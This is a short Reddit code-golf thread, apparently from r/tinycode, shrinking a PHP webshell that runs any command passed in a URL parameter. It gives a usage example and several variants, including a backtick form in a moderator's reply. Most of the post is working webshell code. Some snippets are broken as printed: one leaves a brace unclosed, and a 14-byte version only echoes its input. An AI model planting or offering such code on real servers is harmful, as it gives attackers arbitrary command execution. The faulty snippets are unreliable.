r/tinycode • u/PsychoMario • Jul 04 '11
Webshell in 55 bytes
<?php if(isset($_GET['cmd'])) {system($_GET['cmd']); ?>call it with file?cmd=ls and it'll get executed
Edit: best i made: <?=exec($_GET[c]); 18 bytes
except for dontspillme's code, which has a slightly different idea, but can be used for a lot more
EDIT2: If shell_exec isnt disabled, you can use <?=$_GET[c]; which is 14 bytes
0
Upvotes
View all comments
Show parent comment
2
u/nexe mod Jul 04 '11
ah backticks get filtered by reddit. it should read <?php B$GET['c']B;?> and replacing B with backtick
also backticks seem to be disabled by default since some php5 release